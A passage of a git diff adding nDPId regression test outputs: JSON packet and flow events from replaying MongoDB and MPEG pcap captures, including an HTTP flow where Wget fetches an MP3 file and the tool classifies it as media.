type","thread_id":0,"packet_id":15,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00474{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":16,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483726705,"pkt_ts_usec":503964,"pkt_caplen":128,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":128,"pkt_l4_len":0,"pkt":"ABsXAAEkACKDPxfFgQAAZAgARQIAbrdWQAA9BiO2CgoKDgoKCg\/wP2mJBNDEts\/TviiAGBAaBDcAAAEBCAoydcXkGQyESzoAAABMBAAAAAAAANQHAAAAAAAAYWRtaW4uJGNtZAAAAAAAAQAAABMAAAAQaXNNYXN0ZXIAAQAAAAA="} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":16,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00412{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":17,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483737232,"pkt_ts_usec":974198,"pkt_caplen":82,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":82,"pkt_l4_len":0,"pkt":"ABsXAAEkLGv11hfFgQAAZAgARQAAQB7UQAA6BjnMCgoKEAoKChHInmmJ0eCpcgAAAACwAv\/\/iv8AAAIEBWoBAwMFAQEICj5g2FMAAAAABAIAAA=="} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":17,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00403{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":18,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483737232,"pkt_ts_usec":975899,"pkt_caplen":78,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":78,"pkt_l4_len":0,"pkt":"ACKDPxfFABsXAAEkgQAAZAgARQAAPAAAQAAyBmCkCgoKEQoKChBpicie7T3P\/tHgqXOgEkXqkCgAAAIEBbQEAggKAY8GyD5g2FMBAwMI"} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":18,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":19,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483737232,"pkt_ts_usec":979140,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"ABsXAAEkLGv11hfFgQAAZAgARQAANFg1QAA6BgB3CgoKEAoKChHInmmJ0eCpc+09z\/+AEBAa9MAAAAEBCAo+YNhYAY8GyA=="} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":19,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00753{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":20,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483737232,"pkt_ts_usec":979308,"pkt_caplen":339,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":339,"pkt_l4_len":0,"pkt":"ABsXAAEkLGv11hfFgQAAZAgARQABQQ0wQAA6BkpvCgoKEAoKChHInmmJ0eCpc+09z\/+AGBAaUdAAAAEBCAo+YNhYAY8GyA0BAAAAAAAAAAAAANQHAAAAAAAAYWRtaW4uJGNtZAAAAAAAAQAAAOYAAAAQaXNNYXN0ZXIAAQAAAANjbGllbnQAywAAAANhcHBsaWNhdGlvbgAdAAAAAm5hbWUADgAAAE1vbmdvREIgU2hlbGwAAANkcml2ZXIAOgAAAAJuYW1lABgAAABNb25nb0RCIEludGVybmFsIENsaWVudAACdmVyc2lvbgAGAAAAMy40LjAAAANvcwBWAAAAAnR5cGUABwAAAERhcndpbgACbmFtZQAJAAAATWFjIE9TIFgAAmFyY2hpdGVjdHVyZQAHAAAAeDg2XzY0AAJ2ZXJzaW9uAAcAAAAxNi4zLjAAAAAA"} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":20,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00411{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":21,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483814916,"pkt_ts_usec":5019,"pkt_caplen":82,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":82,"pkt_l4_len":0,"pkt":"LGv11hfFABsXAAIwgQABLAgARQAAQILYQAA\/BvoMCgoKEgoKChP8NnUwNO8EYwAAAACwAv\/\/CB0AAAIEBVABAwMFAQEICh4cp5sAAAAABAIAAA=="} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":21,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00410{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":22,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483814916,"pkt_ts_usec":5036,"pkt_caplen":82,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":82,"pkt_l4_len":0,"pkt":"LGv11hfFLGv11hfMgQAAMggARQAAQILYQAA+BvsMCgoKEgoKChP8NnUwNO8EYwAAAACwAv\/\/CB0AAAIEBVABAwMFAQEICh4cp5sAAAAABAIAAA=="} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":22,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00401{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":23,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483814916,"pkt_ts_usec":98086,"pkt_caplen":78,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":78,"pkt_l4_len":0,"pkt":"LGv11hfMLGv11hfFgQAAMggARQAAPAAAQAA9Bn7pCgoKEwoKChJ1MPw2EZaBKjTvBGSgEjiQwtwAAAIEBbQEAggKUsc3tB4cp5sBAwMJ"} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":23,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00402{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":24,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483814916,"pkt_ts_usec":98131,"pkt_caplen":78,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":78,"pkt_l4_len":0,"pkt":"ABsXAAIwLGv11hfFgQABLAgARQAAPAAAQAA8Bn\/pCgoKEwoKChJ1MPw2EZaBKjTvBGSgEjiQwtwAAAIEBbQEAggKUsc3tB4cp5sBAwMJ"} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":24,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":25,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483814916,"pkt_ts_usec":107669,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"LGv11hfFABsXAAIwgQABLAgARQAANJUmQAA\/BufKCgoKEgoKChP8NnUwNO8EZBGWgSuAEBAgGbQAAAEBCAoeHKgCUsc3tA=="} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":25,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":26,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483814916,"pkt_ts_usec":107729,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"LGv11hfFLGv11hfMgQAAMggARQAANJUmQAA+BujKCgoKEgoKChP8NnUwNO8EZBGWgSuAEBAgGbQAAAEBCAoeHKgCUsc3tA=="} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":26,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} +00498{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":27,"source":"mongodb.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1483814916,"pkt_ts_usec":108514,"pkt_caplen":143,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":143,"pkt_l4_len":0,"pkt":"LGv11hfFABsXAAIwgQABLAgARQAAfYoRQAA\/BvKWCgoKEgoKChP8NnUwNO8EZBGWgSuAGBAgykwAAAEBCAoeHKgCUsc3tEkAAACHkQAA\/\/\/\/\/9QHAAAAAAAASW5hY3RpdmVVc2VySWRlbnRpdHkuJGNtZAAAAAAAAQAAABMAAAAQZ2V0bm9uY2UAAQAAAAA="} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":27,"source":"mongodb.pcap","alias":"nDPId-test","type":33024} diff --git a/test/results/mpeg.pcap.out b/test/results/mpeg.pcap.out new file mode 100644 index 000000000..eacebd485 --- /dev/null +++ b/test/results/mpeg.pcap.out @@ -0,0 +1,18 @@ +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"mpeg.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1434379491040,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.80.160","dst_ip":"46.101.157.119","src_port":55804,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"mpeg.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434379491,"pkt_ts_usec":40018,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"yGyHABajPBXCt3IOCABFAABAOE9AAEAGJUTAqFCgLmWdd9n8AFBP68YoAAAAALAC\/\/\/OTgAAAgQFtAEDAwUBAQgKFSiGAAAAAAAEAgAA"} +00435{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"mpeg.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434379491,"pkt_ts_usec":117076,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":40,"pkt":"PBXCt3IOyGyHABajCABFAAA8AABAADIGa5cuZZ13wKhQoABQ2fyPIjpcT+vGKaAScSAIFwAAAgQFqAQCCAoAu5vaFSiGAAEDAwhf8g=="} +00419{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"mpeg.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434379491,"pkt_ts_usec":117149,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"yGyHABajPBXCt3IOCABFAAA02wVAAEAGgpnAqFCgLmWdd9n8AFBP68YpjyI6XYAQECCXiwAAAQEIChUohk0Au5va"} +00622{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"mpeg.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434379491,"pkt_ts_usec":117217,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"yGyHABajPBXCt3IOCABFAADI62NAAEAGcafAqFCgLmWdd9n8AFBP68YpjyI6XYAYECBs0gAAAQEIChUohk0Au5vaR0VUIC8wLm1wMyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogV2dldC8xLjE2LjMgKGRhcndpbjE0LjEuMCkNCkFjY2VwdDogKi8qDQpBY2NlcHQtRW5jb2Rpbmc6IGlkZW50aXR5DQpIb3N0OiBsdWNhLm50b3Aub3JnDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00652{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"mpeg.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1434379491040,"flow_last_seen":1434379491117,"flow_tot_l4_data_len":296,"flow_min_l4_data_len":32,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.80.160","dst_ip":"46.101.157.119","src_port":55804,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.ntop","breed":"Safe","category":"Network"},"http": {"hostname":"luca.ntop.org","url":"luca.ntop.org\/0.mp3","code":0,"content_type":"","user_agent":"Wget\/1.16.3 (darwin14.1.0)"}} +00423{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"mpeg.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434379491,"pkt_ts_usec":158095,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":32,"pkt":"PBXCt3IOyGyHABajCABFAAA0obBAADIGye4uZZ13wKhQoABQ2fyPIjpdT+vGvYAQAHamjgAAAQEICgC7m+0VKIZNJ8A="} +02409{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"mpeg.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434379491,"pkt_ts_usec":158121,"pkt_caplen":1502,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1502,"pkt_l4_len":1468,"pkt":"PBXCt3IOyGyHABajCABFAAXQobFAADIGxFEuZZ13wKhQoABQ2fyPIjpdT+vGvYAQAHbYowAAAQEICgC7m+4VKIZNSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBNb24sIDE1IEp1biAyMDE1IDE0OjQ0OjUwIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjcgKFVidW50dSkNCkxhc3QtTW9kaWZpZWQ6IE1vbiwgMTUgSnVuIDIwMTUgMTQ6NDQ6MDkgR01UDQpFVGFnOiAiMjJlMC01MTg4ZjdkOTFkMDU4Ig0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCkNvbnRlbnQtTGVuZ3RoOiA4OTI4DQpLZWVwLUFsaXZlOiB0aW1lb3V0PTUsIG1heD0xMDANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogYXVkaW8vbXBlZw0KDQr\/84jEADkEaLwBlKAA8DyLQP2F8D5TAOqk8D0AAPHB\/A6CMAOWB3Hn+B3VAH0BAe2OB4lv\/gfkGB8JQHTRABzAPC\/\/\/A4hsAdeB0GQHNQABwAOy5\/\/wOwnA9oEDzQgOeiADiAd16BwDP\/\/4BacDmMAOKaAHWAdFmB1EoHpAgeJ8B0UX\/\/\/4AcgDvvQN0XAPLgcZUBrRgDHQDanwNcPAU9gbhABqRX\/\/\/\/4DGgDYnQDioIkYGOBGpXJwUsJIIJkRHscAgF\/\/\/\/\/\/4dgNvCxUFBYBQQQCEMDbxSwoggmIAiHhthPEgQccI2xmP\/\/wxkGgA3jEH\/GlhDKhrP+6j2Iniv\/9c7zpKAVXAKBiPzcAUYDc0DZg\/EpiA4pcYAGAMAYJ6D\/84jEL0akakAJmKACdlCAE\/+Fk4YLDgwxQWgLbAM2SAzaAG8oGmDfiAAmwQAAyAIaJEwMcBAwQoCrsCiUBpCDe\/fk4QAcAAw8R+fAw4MG8QCwALPAEAgovCAkGjf8GwWHvhYWDd4yYwRC4yZYAeNAzoIDiMAN46CiAFA4EpAGvJgmE\/\/DLgnAVYYAE+BqgS8L7jKh85bHMChcA0SBiyQEkwEogmwDIBwCDgGaIgRFBqsS7\/\/jmGi1IJvZP4lARYPcHeT4ncmioUS4b\/\/\/\/6r+gyajRJE3NSLvpF04iblwkjA1GgS5EyUFpEKBlkigxf+T5wnPx5E\/ENVASG7MWhxomMiavReUCMBau0eT3Vfs1XUyuMM2UXQSNeZ4MjYCkiP\/84jEJ0X0Klyj2HgB0p4BHEUJQJKQGU9Q6zPCVgd1GToxDGQseoEAEya4z04ECLkMAXILwSUcRYx5n0bivT5fA0yyCUnls2SVAN5Yg31QefHoZwlUYRI0j\/E+BmnijyiUyGjBOgMQgIlwrRmE4YXwDqLCMgJaNEwEW\/EZFeQQtoZyEGSzCxHqG4okPonCZvXOpNELLAeUyHDJLkHsfaRcWQm6AJOKQculEa5bDtQ8n6w5rCWhJNBQpZ2FJTv1Y+cNUfxmOtKYtfOq0\/\/\/\/\/\/\/\/\/\/1\/vGdZ+MbveryM8risZv3Cc67\/hMlJJZ5WPcz+FitW9thtVc6o3XnxWeUJSAHCa9FUozINCr1OHVOCZGh6cFPBqVYYDkbwwGz1pjAWnT\/84jEIjwsHmlA09bfPKwfjK5w45kKi5ci4qxBlhUJexnJ1VFSgzNCXlvQwuDpSsqtPJXM8AuScRBQD\/QWB\/N8jQXRbOY6zLL+SslLITImijVbOcDNIb6HH6upJYiuPMqW1X6N5rJ+NA8SHB6IEegTx7Ky9MdR0bSEA6HommBoAygkO0e2nEiCDwKItJAGwJATDQOC4PIiDcIo68fTBQPZPIQ6Tx3mowYIIudSJJTp5qdljLXbF13vuP\/\/\/\/\/\/\/\/\/v4j7mvjimxXVzMOOHaqmrXDNly65ZLXzChpi6tQNKHYV2aj4mSAa6GLvWBA0y8VMGAVPOIvNHRJF\/YalyqZlmKkl2YLWOpujF7cj4TQT0VGCkEEKYyCaIYsJTScI="} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"mpeg.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1434379491040,"flow_last_seen":1434379491158,"flow_tot_l4_data_len":1796,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1468,"flow_avg_l4_data_len":299,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.80.160","dst_ip":"46.101.157.119","src_port":55804,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.ntop","breed":"Safe","category":"Media"},"http": {"hostname":"luca.ntop.org","url":"luca.ntop.org\/0.mp3","code":200,"content_type":"audio\/mpeg","user_agent":"Wget\/1.16.3 (darwin14.1.0)"}} +02444{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"mpeg.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434379491,"pkt_ts_usec":158441,"pkt_caplen":1502,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1502,"pkt_l4_len":1468,"pkt":"PBXCt3IOyGyHABajCABFAAXQobJAADIGxFAuZZ13wKhQoABQ2fyPIj\/5T+vGvYAQAHZBbwAAAQEICgC7m+4VKIZNXHvS\/\/OIxEQ94+5sANve3Qk2fneqyU2SLZGOMr1QStRuMM16MSwhY7hnuy3pA5kIUdzsQxC4pdi2jJSheFacBc1hSPisQafXSmbT3V9jtOeFEQKeIFGUSMgHioC\/nnz6TN0ofqvTiEbVTahS0pzfULw7FZGmYWVVN55rhoVbM9PGcvbE5MarX48KVueXfzvr3rb69M7i\/fxr\/\/\/\/\/\/\/\/\/\/\/\/4\/znOcf096Zx83s8rTF\/fMePPFjwN+JmeBPRRtMKihwhuqsqpHgELc1uwuO2rzS8LNB4NHKzpLZRpdh968oiq2l0iSxMqoo1O3SKCM\/Os74l0sV87KXc42ZhIQjGxrPU8oS5N4nCEoQkDuMI7VAcqFVbVIjYaoipVsWC6pQhZbYR\/\/OIxF88lBpwANPe3f600tKrTKTfOTSq0ulENfuDC3IA5T2Ux3qk6T7ZtrEd4fLMiDJYCxQWOOaSdXQ62dC3M\/mpIneoHKEkSxLlJsdFIt0X8Gkv6blGjzrotl7RqhZX0SeaGtJ6ZUR4759aLbdtZvrOsY\/\/\/\/\/\/\/\/\/\/\/\/\/x6\/ec4x\/nHtDz4kmYfznUHUlGOubw75vaDXVPre94g\/qNqaqWQm7L0JIuqlAJF4HVIYOGu3EoU7y26F\/mYvvADsNxzIa1kOXcyhJ2pUqnHEVxXx4ByIrRzJGMd0E60ah7KaaKXleomM6VawqtYNJdrSE1ZITa3oa4IcPtjsbxc2+HpFmYX8x10qzZUS4VDIS97vD89k\/He8\/W9jjxXFW4TzxD\/\/OIxH88xB50ANve3ZGF+TCAgoYYa5O6GrUMY508hKEOjsSo9Bpoo7zSWlawbJupHFeUKnOVKMqucVK3FQ\/hsKna37Np67qzM6pb7Zxi+Nwa5vj0\/\/\/\/\/\/\/\/\/\/\/\/9P771b++tfzQrwcZt603Ht9uEW9YOKRr21jcP6tmDH1SJJAkhyZlTCV5HDZnurFB1NSG0CwYqM4SM0eSgUCWiAl7vuk6i4i+k\/CrJ2dLmhJUo8gh0qRVIOYyzGIMr2shA6FIdqEoYgDlUS20ukgsHcyJFw0XyzAc5xp5YLuyqRVPmwu7VGOQvl3MQkDYImQQlYt4nYha8HOS8xEIssOaCUyvVrGpEISaFMcVExzja1IZZfUjCSKFoYdS6YR2j1aNJ4wq\/\/OIxJ8+vAZ0ANPe3QfITMnG9V0YlUs7TxfXjC8Z5nDFUaW5WBhJ84YypUtZ3DThHs14pCia3Be19filt5\/1\/\/\/\/\/\/\/\/\/\/8f\/Ocb+\/i28+WuKb+bbrm0a2n0NQwYtv8fP8lpvB9RwSZPFjlMW1ymCBCaqZpEflPOW8YkAjCcMMjn0OBTCXsBALM84JPJhZTIYu7qSwCLisekD+sJk1HKoW6MhcZ+JVNzsGvs2KBJ6vy3TLztbyiEmkrh2JT8Ino20OvK4Gizls5XXHb0ConMrZ1J3aelFULQFWKUKSsHqKkkREsApRsqNeGyDxvAINEcTffxy+DTL2BsDlOQuRzCGp1DlRk7HNF5MRkbsHJGTlIMiijMU0V64MNrsl3NPvoi\/\/OIxLc7k554AuZev6IMRxUVYuWzU8kn+Hv\/rjf3\/jH\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/3rO\/r\/\/NN\/WJ6Ukkds0WYwQ6xllnNXZkVTEEVJnN00+OBYwvNE8mx3HuGgaYzKgnZgwHNJryZMkRkWDZ6VUsQlYBIlEptx+OMoYtNvPdjNZlU7Zwrx9pDrz\/fl82zFnViXyV545fl9+cfuNww82c5K5NNtaq6dKgkFVnFG9Mdq0zGYtIHqf9x0uwbUk7DzyvIkqqmEGiPiGCbCIB7ANEGXx2Ea40AQAKsVoLeaikhlxTRApTMCIG6JHE4dKhOkYOeO81MScK45bjKFAgJTOkwOa5iiYmoxhdJ1IuF5AppMU1ux1b0aLWVb\/\/\/\/\/0="} +00419{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"mpeg.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434379491,"pkt_ts_usec":158466,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"yGyHABajPBXCt3IOCABFAAA0lnBAAEAGxy7AqFCgLmWdd9n8AFBP68a9jyJFlYAQD9OL0AAAAQEIChUohnUAu5vu"} +02404{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"mpeg.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434379491,"pkt_ts_usec":159288,"pkt_caplen":1502,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1502,"pkt_l4_len":1468,"pkt":"PBXCt3IOyGyHABajCABFAAXQobNAADIGxE8uZZ13wKhQoABQ2fyPIkWVT+vGvYAQAHaj4AAAAQEICgC7m+4VKIZNT9ejTqSUmv\/ziMTZOxvyeALmYt+ZS02SrQ2eozUggk6Rm6mdTXgLamdsPlS7GmjIWJMqJDRW9w4MJgeYGVp4kzAgGo2I25GCCAbIQiyVbobeQqATPywcZgao8DMUjw5UvKWOQtNl5hRKgtJtwHNdtTahWI1hhSxhQIzrCXOI0BTlLlRWCdO8lq1hSVd520ZQwxMJWhdbrmEDGEEAYawGHXZYo\/ZhAjKmLOo2ZQA0gI1yUzBsBBUFLAACE1QzI4HCo6LhC\/ICnAbaAeIsAjojQxuDQAtOCwoUuING0O8ZJhmxSJQFyEqT47SkQ01E+l8aZAy8RYig3S4dEJDMnRelMvmRJi+J4UGJxE6oJzMixodLhfYixikTRiXEicSTOlVJq6DtS\/\/\/\/\/\/ziMT\/SVw+aADmpNzvU+u1aC0tNRsipUyoH0TqDJInjFEqTa6lIompsk5ubqMkkGcmS9UVyUShwmKmIzuctSA8P4Eli9zBACMwPIzCAE6YDSkAoLMwQI0USV2RyXIzmfgodKF12CPiYEaVBDNpXKYSgkHgCooZvN3QFqxo4yiVw4z1sRfVy3AWDMYSMsCIAKhLLAqFMaRMmFBgRpLyusmmXTBQhAdI3xWDGQoUOBwdLlnjOnAHQZYDmGDoUu\/NJpp3F2lbnMbdrMNNjRVbg15mUSBNBFByXh\/BEGwwCIfS4EoRDg1iITQBR2kAP4HyIBoQxsNg3MUx5LB7Ho8ZkAQqBakfw8DQIg\/nFR2k0hVjrzBR47zcjOXOtpqi1pXNNf\/ziMTsRDv+cALmlt3z8\/8f\/\/\/\/\/\/\/\/31\/+xvy6Fbb8y5VjN98ctbT2LwfrdxdSS4LIFMRCxkwkxDTxYjhgJeFx0pDAYoNiDdsVK0wt2Y5U5uQ\/jQobdbqCMzfNBpK2MMoEI007cDMUwW7QCkoFAJgA8Zch+3SGScepXLlJhyppQZhAqyXnJARlJBujphgKvGZRpsxngsvZK8iiyRCSrTUOL8sxl4GEFsUtVQy1WdCBE5MJX1d1Y87btt8zFqa3JJI5fBMqkMFS+AZQIIsD0A6PjpFAfhGNATASDcQz4IpCkQdID8dgYhEPghAuB4+wXE0Wj0cHokEUfBqOEkgh6NyY4fw\/kIf3FbQ1WeXmhSVptY9Jz2qOrl6E3tf93\/\/\/\/\/\/ziMTuQ1QObALmlt3\/\/\/\/xHzP0+K4c9rocy+mVMcms7vVYgzZb\/UiQtqJJKl7OE6zESzR2F+DvNWBm7dyqJGOfIY8q1vssKZvXmz7g8iM+XqYaPmYwZtJQtNw1TmCGBoQ2WmZazC6Fw0wsgEg5tGwITwuImOkAYFLndxBOFCsChwsDtyGQ0yMvA1GZkMrIXUFwBRUoD0hbTlK3oExYKaczhBcCgaTZZ1dMYtqEmDgrusPY22Fz44uV+W1gKMP5CnFkr6WYOfeVRRjbvrvaeqTqZEEuVEITBJamyKVRhxykP4ix\/mi\/PVCWoWJDG5UmETxzcsIe\/JcS6ApFwn2FCVlnazmXsTK3cdduUZTzwrQJ+9pHZtViR6QMyZvr1zr6xv\/ziMTzR3w2aADe3t3\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/+t0+Le1c73j3r\/u8P2i+99a1753rOcf2iT\/GrScvHLIk1uNlQHOR3h5DL\/v6+5iB0eCSSd\/5YBCQ4JvMiEUm08CEDM9qTh0YiEn3zMORDgzQFCzTlSEAGYyLhwqxyGqohAwoFBAdqEo7lAuYsGoVTLKDABgxgfGghH1oqS4AFzGw4uk\/SchexS19VAYfclYNpkudtciPjB2BJFLiVOvZJFQaanWtKwSXrbrHduOU8erxeilVmAYrG46Sy8CBgA6QJDjcRUgSy8PCo2GhAmggB7GsuDAEwqeRh2NHWUHjQtOnR0EUdxWHgwRskExQ8VvLTh1U6arHFbOObqI="} +00421{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"mpeg.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434379491,"pkt_ts_usec":159333,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"yGyHABajPBXCt3IOCABFAAA0ksVAAEAGytnAqFCgLmWdd9n8AFBP68a9jyJLMYAQEACGBgAAAQEIChUohnYAu5vu"} 